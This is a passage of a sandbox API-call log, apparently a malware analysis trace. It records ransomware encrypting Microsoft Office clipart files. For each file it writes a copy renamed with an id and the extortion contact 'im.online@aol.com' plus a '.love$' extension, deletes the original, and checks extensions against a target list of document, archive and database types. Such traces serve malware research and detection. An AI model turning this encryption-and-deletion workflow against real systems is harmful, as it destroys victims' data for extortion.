office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0117.036] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.036] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0117.036] GetLastError () returned 0x0 [0117.036] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x205, lpOverlapped=0x0) returned 1 [0117.289] WriteFile (in: hFile=0x354, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x210, lpOverlapped=0x0) returned 1 [0117.290] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0117.290] WriteFile (in: hFile=0x354, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0117.397] SetEndOfFile (hFile=0x354) returned 1 [0117.397] CloseHandle (hObject=0x354) returned 1 [0117.399] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.399] SetEndOfFile (hFile=0x2b8) returned 1 [0117.400] CloseHandle (hObject=0x2b8) returned 1 [0117.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0117.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0117.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0117.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0117.627] lstrlenW (lpString=".doc") returned 4 [0117.627] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.627] lstrlenW (lpString=".docx") returned 5 [0117.627] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.627] lstrlenW (lpString=".pdf") returned 4 [0117.627] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.628] lstrlenW (lpString=".xls") returned 4 [0117.628] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.628] lstrlenW (lpString=".xlsx") returned 5 [0117.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.628] lstrlenW (lpString=".ppt") returned 4 [0117.628] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0117.628] lstrlenW (lpString=".zip") returned 4 [0117.628] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.628] lstrlenW (lpString=".rar") returned 4 [0117.628] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.628] lstrlenW (lpString=".bz2") returned 4 [0117.628] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.628] lstrlenW (lpString=".7z") returned 3 [0117.628] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0117.628] lstrlenW (lpString=".dbf") returned 4 [0117.628] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0117.628] lstrlenW (lpString=".1cd") returned 4 [0117.628] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0117.628] lstrlenW (lpString=".jpg") returned 4 [0117.628] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0117.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0117.628] lstrlenW (lpString=".doc") returned 4 [0117.628] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0117.628] lstrlenW (lpString=".docx") returned 5 [0117.628] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0117.628] lstrlenW (lpString=".pdf") returned 4 [0117.628] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0117.628] lstrlenW (lpString=".xls") returned 4 [0117.628] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0117.629] lstrlenW (lpString=".xlsx") returned 5 [0117.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0117.629] lstrlenW (lpString=".ppt") returned 4 [0117.629] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0117.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0117.629] lstrlenW (lpString=".zip") returned 4 [0117.629] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0117.629] lstrlenW (lpString=".rar") returned 4 [0117.629] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0117.629] lstrlenW (lpString=".bz2") returned 4 [0117.629] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0117.629] lstrlenW (lpString=".7z") returned 3 [0117.629] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0117.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0117.629] lstrlenW (lpString=".dbf") returned 4 [0117.629] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0117.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0117.629] lstrlenW (lpString=".1cd") returned 4 [0117.629] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0117.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0117.629] lstrlenW (lpString=".jpg") returned 4 [0117.629] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0117.629] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0117.629] lstrlenW (lpString="AG00135_.GIF") returned 12 [0117.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0117.637] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=2596) returned 1 [0117.637] CloseHandle (hObject=0x2b8) returned 1 [0117.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0117.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0117.637] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.638] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0117.639] GetLastError () returned 0x0 [0117.639] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0xa24, lpOverlapped=0x0) returned 1 [0118.267] WriteFile (in: hFile=0x354, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xa30, lpOverlapped=0x0) returned 1 [0118.268] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0118.268] WriteFile (in: hFile=0x354, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0118.269] SetEndOfFile (hFile=0x354) returned 1 [0118.269] CloseHandle (hObject=0x354) returned 1 [0118.270] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.270] SetEndOfFile (hFile=0x2b8) returned 1 [0118.271] CloseHandle (hObject=0x2b8) returned 1 [0118.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0118.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0118.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0118.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0118.543] lstrlenW (lpString=".doc") returned 4 [0118.543] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0118.543] lstrlenW (lpString=".docx") returned 5 [0118.543] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0118.543] lstrlenW (lpString=".pdf") returned 4 [0118.543] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0118.543] lstrlenW (lpString=".xls") returned 4 [0118.543] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0118.543] lstrlenW (lpString=".xlsx") returned 5 [0118.543] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0118.543] lstrlenW (lpString=".ppt") returned 4 [0118.543] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0118.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0118.543] lstrlenW (lpString=".zip") returned 4 [0118.543] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0118.543] lstrlenW (lpString=".rar") returned 4 [0118.543] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0118.543] lstrlenW (lpString=".bz2") returned 4 [0118.543] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0118.543] lstrlenW (lpString=".7z") returned 3 [0118.543] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0118.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0118.543] lstrlenW (lpString=".dbf") returned 4 [0118.543] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0118.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0118.543] lstrlenW (lpString=".1cd") returned 4 [0118.543] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0118.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0118.544] lstrlenW (lpString=".jpg") returned 4 [0118.544] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0118.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0118.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0118.544] lstrlenW (lpString=".doc") returned 4 [0118.544] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0118.544] lstrlenW (lpString=".docx") returned 5 [0118.544] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0118.544] lstrlenW (lpString=".pdf") returned 4 [0118.544] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0118.544] lstrlenW (lpString=".xls") returned 4 [0118.544] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0118.544] lstrlenW (lpString=".xlsx") returned 5 [0118.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0118.544] lstrlenW (lpString=".ppt") returned 4 [0118.544] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0118.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0118.544] lstrlenW (lpString=".zip") returned 4 [0118.544] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0118.544] lstrlenW (lpString=".rar") returned 4 [0118.544] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0118.544] lstrlenW (lpString=".bz2") returned 4 [0118.544] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0118.544] lstrlenW (lpString=".7z") returned 3 [0118.544] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0118.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0118.545] lstrlenW (lpString=".dbf") returned 4 [0118.545] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0118.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0118.545] lstrlenW (lpString=".1cd") returned 4 [0118.545] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0118.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68 [0118.545] lstrlenW (lpString=".jpg") returned 4 [0118.545] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0118.545] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0118.545] lstrlenW (lpString="AG00167_.GIF") returned 12 [0118.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0119.357] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=4894) returned 1 [0119.357] CloseHandle (hObject=0x364) returned 1 [0119.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0119.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0119.369] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.369] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.370] GetLastError () returned 0x0 [0119.370] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x131e, lpOverlapped=0x0) returned 1 [0119.372] WriteFile (in: hFile=0x370, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x1320, lpOverlapped=0x0) returned 1 [0119.373] ReadFile (in: hFile=0x364, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0119.373] WriteFile (in: hFile=0x370, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0119.374] SetEndOfFile (hFile=0x370) returned 1 [0119.374] CloseHandle (hObject=0x370) returned 1 [0119.376] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0119.376] SetEndOfFile (hFile=0x364) returned 1 [0119.377] CloseHandle (hObject=0x364) returned 1 [0119.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0119.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0119.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0119.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0119.378] lstrlenW (lpString=".doc") returned 4 [0119.378] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.378] lstrlenW (lpString=".docx") returned 5 [0119.379] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.379] lstrlenW (lpString=".pdf") returned 4 [0119.379] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.379] lstrlenW (lpString=".xls") returned 4 [0119.379] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.379] lstrlenW (lpString=".xlsx") returned 5 [0119.379] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.379] lstrlenW (lpString=".ppt") returned 4 [0119.379] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0119.379] lstrlenW (lpString=".zip") returned 4 [0119.379] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.379] lstrlenW (lpString=".rar") returned 4 [0119.379] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.379] lstrlenW (lpString=".bz2") returned 4 [0119.379] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.379] lstrlenW (lpString=".7z") returned 3 [0119.379] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0119.379] lstrlenW (lpString=".dbf") returned 4 [0119.379] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0119.379] lstrlenW (lpString=".1cd") returned 4 [0119.379] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0119.379] lstrlenW (lpString=".jpg") returned 4 [0119.379] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0119.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0119.380] lstrlenW (lpString=".doc") returned 4 [0119.380] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0119.380] lstrlenW (lpString=".docx") returned 5 [0119.380] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0119.380] lstrlenW (lpString=".pdf") returned 4 [0119.380] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0119.380] lstrlenW (lpString=".xls") returned 4 [0119.380] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0119.380] lstrlenW (lpString=".xlsx") returned 5 [0119.380] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0119.380] lstrlenW (lpString=".ppt") returned 4 [0119.380] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0119.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0119.380] lstrlenW (lpString=".zip") returned 4 [0119.380] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0119.380] lstrlenW (lpString=".rar") returned 4 [0119.380] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0119.380] lstrlenW (lpString=".bz2") returned 4 [0119.380] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0119.380] lstrlenW (lpString=".7z") returned 3 [0119.380] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0119.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0119.380] lstrlenW (lpString=".dbf") returned 4 [0119.380] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0119.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0119.380] lstrlenW (lpString=".1cd") returned 4 [0119.381] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0119.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0119.381] lstrlenW (lpString=".jpg") returned 4 [0119.381] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0119.381] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0119.381] lstrlenW (lpString="AG00170_.GIF") returned 12 [0119.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0119.381] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=9248) returned 1 [0119.381] CloseHandle (hObject=0x364) returned 1 [0119.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220 [0119.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0119.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0119.382] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: 